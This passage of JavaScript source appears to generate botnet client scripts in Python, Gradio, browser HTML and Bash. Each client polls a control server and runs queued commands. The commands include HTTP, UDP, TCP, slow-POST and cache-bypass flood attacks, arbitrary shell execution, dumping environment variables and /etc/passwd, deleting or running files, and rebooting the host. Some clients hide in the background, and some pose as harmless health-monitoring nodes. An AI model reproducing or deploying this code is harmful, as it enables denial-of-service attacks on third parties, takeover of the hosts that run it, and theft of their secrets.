	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
	]
	def worker():
	session = requests.Session()
	while time.time() < t_end:
	try:
	headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}
	session.get(url, headers=headers, timeout=5); stats["sent"] += 1
	time.sleep(random.uniform(0.1, 0.8))
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'carpet_bombing':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	data = os.urandom(512)
	subnet = payload.get('ip', '192.168.1.') # actually subnet input
	port = int(payload.get('port', 80))
	def worker():
	try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	except: return
	while time.time() < t_end:
	try: s.sendto(data, (f"{subnet}{random.randint(1, 254)}", port)); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'websocket_flood':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	url = payload.get('url', 'ws://127.0.0.1/')
	def worker():
	while time.time() < t_end:
	try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'slow_post_flood':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	ip = payload.get('ip', '127.0.0.1')
	port = int(payload.get('port', 80))
	def worker():
	try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(4); s.connect((ip, port))
	s.send(f"POST / HTTP/1.1\\r\\nHost: {ip}\\r\\nContent-Length: 100000\\r\\n\\r\\n".encode())
	stats["sent"] += 1
	while time.time() < t_end:
	s.send(b"a")
	time.sleep(10); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start(); time.sleep(0.1)
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'dns_resolve':
	pass
	try:
	result = {"ip": socket.gethostbyname(payload.get('host', 'google.com'))}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'icmp_ping':
	pass
	host = payload.get('host', 'google.com')
	cmd_str = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
	elif cmd_type == 'traceroute':
	pass
	host = payload.get('host', 'google.com')
	cmd_str = f"tracert {host}" if platform.system() == "Windows" else f"traceroute {host}"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
	elif cmd_type == 'port_scan':
	pass
	host = payload.get('host', 'google.com')
	ports_str = payload.get('ports', '80,443')
	ports = [int(p.strip()) for p in ports_str.split(',') if p.strip().isdigit()]
	scan_results = {}
	for p in ports:
	try:
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	s.settimeout(1)
	scan_results[p] = "open" if s.connect_ex((host, p)) == 0 else "closed"
	except:
	scan_results[p] = "error"
	result = {"scan": scan_results}
	elif cmd_type == 'get_public_ip':
	try:
	result = {"ip": requests.get('https://api.ipify.org', timeout=3).text}
	except:
	result = {"error": "failed"}
	elif cmd_type == 'get_system_info':
	pass
	result = {"cpu_count": multiprocessing.cpu_count(), "machine": platform.machine(), "node": platform.node(), "system": platform.system()}
	elif cmd_type == 'list_processes':
	pass
	cmd_str = "tasklist" if platform.system() == "Windows" else "ps aux --sort=-%mem \| head -n 20"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8')}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'get_env_vars':
	result = dict(os.environ)
	elif cmd_type == 'list_directory':
	try:
	result = {"files": os.listdir(payload.get('path', '.'))}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'read_file':
	try:
	with open(payload.get('path', '/etc/passwd'), 'r') as f:
	result = {"content": f.read(4000)} # limit size
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'write_file':
	try:
	with open(payload.get('path', '/tmp/output.txt'), 'w') as f:
	f.write(payload.get('content', ''))
	result = {"status": "written"}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'run_file':
	pass
	try:
	out = subprocess.check_output(payload.get('path', './script.sh'), shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
	elif cmd_type == 'get_file_info':
	try:
	pass
	st = os.stat(payload.get('path', '.'))
	result = {"info": {"size": st.st_size, "mode": st.st_mode, "mtime": st.st_mtime}}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'copy_file':
	try:
	pass
	shutil.copy2(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
	result = {"status": "copied"}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'move_file':
	try:
	pass
	shutil.move(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
	result = {"status": "moved"}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'delete_file':
	try:
	pass
	os.remove(payload.get('path', '/tmp/delete_me'))
	result = {"status": "deleted"}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'arp_table':
	pass
	cmd_str = "arp -a"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
	elif cmd_type == 'netstat_connections':
	pass
	cmd_str = "netstat -an"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'ifconfig_ip':
	pass
	cmd_str = "ipconfig" if platform.system() == "Windows" else "ifconfig \|\| ip a"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'dns_mx_records':
	pass
	cmd_str = f"nslookup -type=mx {payload.get('host', 'google.com')}"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'dns_txt_records':
	pass
	cmd_str = f"nslookup -type=txt {payload.get('host', 'google.com')}"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'route_table':
	pass
	cmd_str = "route print" if platform.system() == "Windows" else "netstat -rn \|\| ip route"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'wifi_networks':
	pass
	cmd_str = "netsh wlan show networks" if platform.system() == "Windows" else "nmcli dev wifi \|\| iwlist scan"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'system_logs':
	pass
	cmd_str = "wevtutil qe System /c:50 /f:text" if platform.system() == "Windows" else "dmesg \| tail -n 50 \|\| tail -n 50 /var/log/syslog"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'list_services':
	pass
	cmd_str = "sc query" if platform.system() == "Windows" else "systemctl list-units --type=service \|\| service --status-all"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'get_users':
	pass
	cmd_str = "net user" if platform.system() == "Windows" else "cat /etc/passwd"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'get_groups':
	pass
	cmd_str = "net localgroup" if platform.system() == "Windows" else "cat /etc/group"
	try:
	out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8', errors='ignore')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e)}
	elif cmd_type == 'reboot_system':
	pass
	cmd_str = "shutdown /r /t 0" if platform.system() == "Windows" else "sudo reboot \|\| reboot"
	try:
	subprocess.Popen(cmd_str, shell=True)
	result = {"status": "reboot_initiated"}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'get_disk_space':
	pass
	total, used, free = shutil.disk_usage("/")
	result = {"total": total, "used": used, "free": free}
	elif cmd_type == 'kill_process':
	pass
	try:
	pid = int(payload.get('pid', '0'))
	os.kill(pid, signal.SIGTERM)
	result = {"status": f"killed {pid}"}
	except Exception as e:
	result = {"error": str(e)}
	elif cmd_type == 'exec_shell':
	pass
	try:
	out = subprocess.check_output(payload.get('cmd', 'echo hello'), shell=True, stderr=subprocess.STDOUT)
	result = {"output": out.decode('utf-8')}
	except subprocess.CalledProcessError as e:
	result = {"error": str(e), "output": e.output.decode('utf-8')}
	elif cmd_type == 'change_poll_interval':
	poll_interval = int(payload.get('interval', 10))
	result = {"status": f"interval_updated_to_{poll_interval}"}
	elif cmd_type == 'self_terminate':
	pass
	sys.exit(0)
	elif cmd_type == 'report_sysinfo':
	result = {"os": platform.system(), "release": platform.release()}
	else:
	result = {"status": "not_supported", "detail": "Command not matched by python client."}

	requests.post(f"{SERVER_URL}/api/nodes/report", json={
	"nodeId": f"node-{NODE_ID}",
	"commandId": cmd['id'],
	"type": cmd_type,
	"target": cmd.get('target'),
	"result": result
	})
	except Exception as e:
	print(f"Ping failed: {e}")
	time.sleep(poll_interval)

	if __name__ == "__main__":
	pass
	if "${type}" == "python_local" and (len(sys.argv) < 2 or sys.argv[1] != 'bg'):
	pass
	try:
	if platform.system() == 'Windows':
	subprocess.Popen([sys.executable, __file__, 'bg'], creationflags=subprocess.CREATE_NO_WINDOW \| 0x00000008)
	else:
	subprocess.Popen(['nohup', sys.executable, __file__, 'bg'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
	print(f"Node {NODE_ID} started in background.")
	sys.exit(0)
	except Exception as e:
	print("Failed to background:", e)
	elif "${type}" == "hf_gradio":
	pass # Gradio handles its own start
	elif "${type}" == "hf_docker":
	pass
	from http.server import HTTPServer, BaseHTTPRequestHandler
	class Health(BaseHTTPRequestHandler):
	def do_GET(self):
	self.send_response(200)
	self.end_headers()
	self.wfile.write(b"OK")
	def log_message(self, format, *args):
	pass
	def run_srv():
	HTTPServer(('0.0.0.0', 7860), Health).serve_forever()
	threading.Thread(target=run_srv, daemon=True).start()
	print(f"Starting docker node {NODE_ID}...")
	ping()
	else:
	if "${type}" != "hf_gradio":
	print(f"Starting generic node {NODE_ID}...")
	ping()
	`;
	}

	function getGradioClient(serverUrl) {
	return `import gradio as gr
	import threading
	${getPythonClient(serverUrl, 'hf_gradio')}

	# Start background monitoring thread
	threading.Thread(target=ping, daemon=True).start()

	with gr.Blocks() as demo:
	gr.Markdown("# Deployment Node Active")
	gr.Markdown("This node is reporting health status to the management server.")
	demo.launch(server_name="0.0.0.0", server_port=7860)
	`;
	}

	function getHtmlClient(serverUrl) {
	return `<!DOCTYPE html>
	<html><head><title>Node JS Client</title></head><body>
	<h2>Node Health Client</h2><pre id="log">Starting...</pre>
	<script>
	const SERVER = "${serverUrl}";
	const NODE_ID = "node-" + Math.random().toString(36).substring(2, 10);
	let pollInterval = 10000;
	function log(msg) { document.getElementById("log").innerText += "\\n" + msg; }

	async function execute(cmd) {
	let result = { status: "executed" };
	if (cmd.type === 'fetch_http_test') {
	const t0 = performance.now();
	try {
	await fetch(\`http://\${cmd.payload.ip}:\${cmd.payload.port}/\`, {mode: 'no-cors'}).catch(() => {});
	result = { status: "fetch_dispatched", latency_ms: Math.round(performance.now() - t0) };
	} catch(e) { result = { status: "error", detail: e.message }; }
	} else if (cmd.type === 'get_public_ip') {
	try { const r = await fetch('https://api.ipify.org'); result = { ip: await r.text() }; } catch(e) { result = { error: "failed" }; }
	} else if (cmd.type === 'get_system_info') {
	result = { ua: navigator.userAgent, lang: navigator.language, plat: navigator.platform };
	} else if (cmd.type === 'report_sysinfo') {
	result = { ua: navigator.userAgent };
	} else if (cmd.type === 'change_poll_interval') {
	pollInterval = (parseInt(cmd.payload.interval)\|\|10) * 1000;
	result = { status: "interval_updated" };
	} else if (cmd.type === 'self_terminate') {
	log("Terminate requested - turning off");
	return;
	} else if (cmd.type === 'http_flood' \|\| cmd.type === 'http_get_flood' \|\| cmd.type === 'cache_bypass_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	let url = cmd.payload.url \|\| 'http://127.0.0.1/';
	async function worker() {
	while (Date.now() < endT) {
	try {
	let reqUrl = url;
	if (cmd.type === 'cache_bypass_flood') reqUrl += (reqUrl.includes('?') ? '&' : '?') + 'cb=' + Math.random();
	await fetch(reqUrl, { mode: 'no-cors' }).catch(()=>errors++);
	sent++;
	} catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: cmd.type + "_finished", stats: { sent, errors } };
	} else if (cmd.type === 'http_post_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	let url = cmd.payload.url \|\| 'http://127.0.0.1/';
	async function worker() {
	while (Date.now() < endT) {
	try {
	await fetch(url, { method: 'POST', body: 'dummy=1', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, mode: 'no-cors' }).catch(()=>errors++);
	sent++;
	} catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: cmd.type + "_finished", stats: { sent, errors } };
	} else if (cmd.type === 'api_abuse_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	let url = cmd.payload.url \|\| 'http://127.0.0.1/';
	async function worker() {
	while (Date.now() < endT) {
	try {
	await fetch(url, { method: 'POST', body: JSON.stringify({query: "abusive_payload_" + Math.floor(Math.random() * 10000)}), headers: {'Content-Type': 'application/json', 'Authorization': "Bearer " + (Math.floor(Math.random() * 8999) + 1000)}, mode: 'no-cors' }).catch(()=>errors++);
	sent++;
	} catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: cmd.type + "_finished", stats: { sent, errors } };
	} else {
	result = { status: "not_supported", detail: "Payload not natively supported in browser JS." }
	}

	await fetch(SERVER + "/api/nodes/report", {
	method: "POST", headers: { "Content-Type": "application/json" },
	body: JSON.stringify({ nodeId: NODE_ID, commandId: cmd.id, type: cmd.type, target: cmd.target, result })
	}).catch(() => {});
	}

	async function ping() {
	try {
	const res = await fetch(SERVER + "/api/nodes/ping", {
	method: "POST", headers: { "Content-Type": "application/json" },
	body: JSON.stringify({ id: NODE_ID, type: "gh_pages", systemInfo: { os: navigator.userAgent } })
	});
	const data = await res.json();
	log("Ping OK. Commands queued: " + (data.commands?.length \|\| 0));
	if (data.commands) data.commands.forEach(execute);
	} catch(e) { log("Ping Error: " + e.message); }
	setTimeout(ping, pollInterval);
	}
	ping();
	</script>
	</body></html>`;
	}

	function getBashClient(serverUrl) {
	return `#!/bin/bash
	if [ "$1" != "bg" ]; then
	nohup bash "$0" bg > /dev/null 2>&1 &
	echo "Started in background."
	exit 0
	fi

	SERVER="${serverUrl}"
	NODE_ID="linux-$(cat /proc/sys/kernel/random/uuid \| cut -c 1-8)"
	POLL_INTERVAL=10
	echo "Starting monitoring node $NODE_ID..."

	execute_cmd() {
	local CMD_ID=$1
	local CMD_TYPE=$2
	local PAYLOAD=$3
	local RESULT="{\\"status\\":\\"executed\\"}"

	if [[ "$CMD_TYPE" == "fetch_http_test" ]]; then
	local IP=$(echo "$PAYLOAD" \| grep -o '"ip":"[^"]*' \| cut -d '"' -f 4)
	local PORT=$(echo "$PAYLOAD" \| grep -o '"port":[^,}]*' \| cut -d ':' -f 2)
	curl -m 3 -s "http://$IP:$PORT/" > /dev/null
	if [ $? -eq 0 ]; then RESULT="{\\"status\\":\\"fetch_dispatched\\"}"; else RESULT="{\\"status\\":\\"error\\"}"; fi
	elif [[ "$CMD_TYPE" == "exec_shell" ]]; then
	# Unsafe but requested
	local SH_CMD=$(echo "$PAYLOAD" \| grep -o '"cmd":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(eval "$SH_CMD" 2>&1 \| tr '\\n' ' ')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "icmp_ping" ]]; then
	local HOST=$(echo "$PAYLOAD" \| grep -o '"host":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(ping -c 3 "$HOST" 2>&1 \| tr '\\n' ' ')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "change_poll_interval" ]]; then
	POLL_INTERVAL=$(echo "$PAYLOAD" \| grep -o '"interval":[^,}]*' \| cut -d ':' -f 2)
	RESULT="{\\"status\\":\\"interval_updated\\"}"
	elif [[ "$CMD_TYPE" == "udp_flood" ]]; then
	local IP=$(echo "$PAYLOAD" \| grep -o '"ip":"[^"]*' \| cut -d '"' -f 4)
	local PORT=$(echo "$PAYLOAD" \| grep -o '"port":[^,}]*' \| cut -d ':' -f 2)
	local DUR=$(echo "$PAYLOAD" \| grep -o '"duration":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	local THREADS=$(echo "$PAYLOAD" \| grep -o '"threads":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	local PACKET_SIZE=$(echo "$PAYLOAD" \| grep -o '"packet_size":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	if [ -z "$THREADS" ] \|\| [ "$THREADS" == "" ]; then THREADS=10; fi
	if [ -z "$PACKET_SIZE" ] \|\| [ "$PACKET_SIZE" == "" ]; then PACKET_SIZE=1024; fi
	local PAYLOAD_STR=$(cat /dev/urandom \| tr -dc 'a-zA-Z0-9' \| fold -w \${PACKET_SIZE} \| head -n 1)
	for ((i=1;i<=THREADS;i++)); do
	timeout "$DUR" bash -c "while true; do echo '$PAYLOAD_STR' > /dev/udp/$IP/$PORT 2>/dev/null; done" &
	done
	sleep "$DUR"
	RESULT="{\"status\":\"udp_flood_finished\"}"
	elif [[ "$CMD_TYPE" == "tcp_connect_flood" ]]; then
	local IP=$(echo "$PAYLOAD" \| grep -o '"ip":"[^"]*' \| cut -d '"' -f 4)
	local PORT=$(echo "$PAYLOAD" \| grep -o '"port":[^,}]*' \| cut -d ':' -f 2)
	local DUR=$(echo "$PAYLOAD" \| grep -o '"duration":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	local THREADS=$(echo "$PAYLOAD" \| grep -o '"threads":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	if [ -z "$THREADS" ]; then THREADS=5; fi
	for ((i=1;i<=THREADS;i++)); do
	timeout "$DUR" bash -c "while true; do timeout 1 bash -c \"echo > /dev/tcp/$IP/$PORT\" 2>/dev/null; done" &
	done
	sleep "$DUR"
	RESULT="{\"status\":\"tcp_connect_flood_finished\"}"
	elif [[ "$CMD_TYPE" == "http_flood" \|\| "$CMD_TYPE" == "http_get_flood" \|\| "$CMD_TYPE" == "cache_bypass_flood" \|\| "$CMD_TYPE" == "api_abuse_flood" \|\| "$CMD_TYPE" == "http_post_flood" ]]; then
	local URL=$(echo "$PAYLOAD" \| grep -o '"url":"[^"]*' \| cut -d '"' -f 4)
	local DUR=$(echo "$PAYLOAD" \| grep -o '"duration":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	local THREADS=$(echo "$PAYLOAD" \| grep -o '"threads":[^,}]*' \| cut -d ':' -f 2 \| tr -d ' }')
	if [ -z "$THREADS" ]; then THREADS=5; fi
	for ((i=1;i<=THREADS;i++)); do
	if [[ "$CMD_TYPE" == "cache_bypass_flood" ]]; then
	timeout "$DUR" bash -c "while true; do curl -s \"$URL?cb=\$RANDOM\" > /dev/null 2>&1; done" &
	elif [[ "$CMD_TYPE" == "api_abuse_flood" ]]; then
	timeout "$DUR" bash -c "while true; do curl -s -X POST -H \"Content-Type: application/json\" -H \"Authorization: Bearer \$RANDOM\" -d \"{\\\"query\\\":\\\"abusive_payload_\$RANDOM\\\"}\" \"$URL\" > /dev/null 2>&1; done" &
	elif [[ "$CMD_TYPE" == "http_post_flood" ]]; then
	timeout "$DUR" bash -c "while true; do curl -s -X POST -H \"Content-Type: application/x-www-form-urlencoded\" -d \"dummy=\$RANDOM\" \"$URL\" > /dev/null 2>&1; done" &
	else
	timeout "$DUR" bash -c "while true; do curl -s \"$URL\" > /dev/null 2>&1; done" &
	fi
	done
	sleep "$DUR"
	RESULT="{\"status\":\"\${CMD_TYPE}_finished\"}"
	elif [[ "$CMD_TYPE" == "traceroute" ]]; then
	local HOST=$(echo "$PAYLOAD" \| grep -o '"host":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(traceroute "$HOST" 2>&1 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "dns_resolve" ]]; then
	local HOST=$(echo "$PAYLOAD" \| grep -o '"host":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(nslookup "$HOST" 2>&1 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"ip\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "port_scan" ]]; then
	local HOST=$(echo "$PAYLOAD" \| grep -o '"host":"[^"]*' \| cut -d '"' -f 4)
	local PORTS=$(echo "$PAYLOAD" \| grep -o '"ports":"[^"]*' \| cut -d '"' -f 4)
	IFS=',' read -ra PORT_ARR <<< "$PORTS"
	SCAN_RES=""
	for i in "\${PORT_ARR[@]}"; do
	nc -z -w 1 "$HOST" "$i" > /dev/null 2>&1
	if [ $? -eq 0 ]; then SCAN_RES="$SCAN_RES \\\\\"$i\\\\\":\\\\\"open\\\\\","; else SCAN_RES="$SCAN_RES \\\\\"$i\\\\\":\\\\\"closed\\\\\","; fi
	done
	SCAN_RES=\${SCAN_RES%?}
	RESULT="{\\"scan\\":{$SCAN_RES}}"
	elif [[ "$CMD_TYPE" == "get_public_ip" ]]; then
	IP=$(curl -s -m 3 ifconfig.me)
	RESULT="{\\"ip\\":\\"$IP\\"}"
	elif [[ "$CMD_TYPE" == "get_system_info" ]]; then
	OUT=$(uname -a \| sed 's/"/\\\\"/g')
	RESULT="{\\"os\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "list_processes" ]]; then
	OUT=$(ps aux \| head -n 20 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "list_directory" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	if [ -z "$PATH_V" ]; then PATH_V="."; fi
	OUT=$(ls -la "$PATH_V" 2>&1 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"files\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "read_file" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(head -c 1000 "$PATH_V" 2>&1 \| tr '\\n' ' ' \| tr '\\r' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"content\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "get_env_vars" ]]; then
	OUT=$(env \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "get_file_info" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(stat "$PATH_V" 2>&1 \| tr '\n' ' ' \| sed 's/"/\\"/g')
	RESULT="{\"content\":\"$OUT\"}"
	elif [[ "$CMD_TYPE" == "copy_file" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	local DEST_V=$(echo "$PAYLOAD" \| grep -o '"destPath":"[^"]*' \| cut -d '"' -f 4)
	cp -r "$PATH_V" "$DEST_V"
	if [ $? -eq 0 ]; then RESULT="{\"status\":\"copied\"}"; else RESULT="{\"status\":\"error\"}"; fi
	elif [[ "$CMD_TYPE" == "move_file" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	local DEST_V=$(echo "$PAYLOAD" \| grep -o '"destPath":"[^"]*' \| cut -d '"' -f 4)
	mv "$PATH_V" "$DEST_V"
	if [ $? -eq 0 ]; then RESULT="{\"status\":\"moved\"}"; else RESULT="{\"status\":\"error\"}"; fi
	elif [[ "$CMD_TYPE" == "delete_file" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	rm -f "$PATH_V"
	if [ $? -eq 0 ]; then RESULT="{\\"status\\":\\"deleted\\"}"; else RESULT="{\\"status\\":\\"error\\"}"; fi
	elif [[ "$CMD_TYPE" == "write_file" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	local CONTENT_V=$(echo "$PAYLOAD" \| grep -o '"content":"[^"]*' \| head -1 \| cut -d '"' -f 4)
	echo -e "$CONTENT_V" > "$PATH_V"
	if [ $? -eq 0 ]; then RESULT="{\\"status\\":\\"written\\"}"; else RESULT="{\\"status\\":\\"error\\"}"; fi
	elif [[ "$CMD_TYPE" == "run_file" ]]; then
	local PATH_V=$(echo "$PAYLOAD" \| grep -o '"path":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(eval "$PATH_V" 2>&1 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "arp_table" ]]; then
	OUT=$(arp -a \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "netstat_connections" ]]; then
	OUT=$(netstat -an \| head -n 50 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "ifconfig_ip" ]]; then
	OUT=$(ifconfig 2>/dev/null \|\| ip a 2>/dev/null \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "dns_mx_records" ]]; then
	local HOST=$(echo "$PAYLOAD" \| grep -o '"host":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(nslookup -type=mx "$HOST" 2>&1 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "dns_txt_records" ]]; then
	local HOST=$(echo "$PAYLOAD" \| grep -o '"host":"[^"]*' \| cut -d '"' -f 4)
	OUT=$(nslookup -type=txt "$HOST" 2>&1 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "route_table" ]]; then
	OUT=$(netstat -rn 2>/dev/null \|\| ip route 2>/dev/null \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
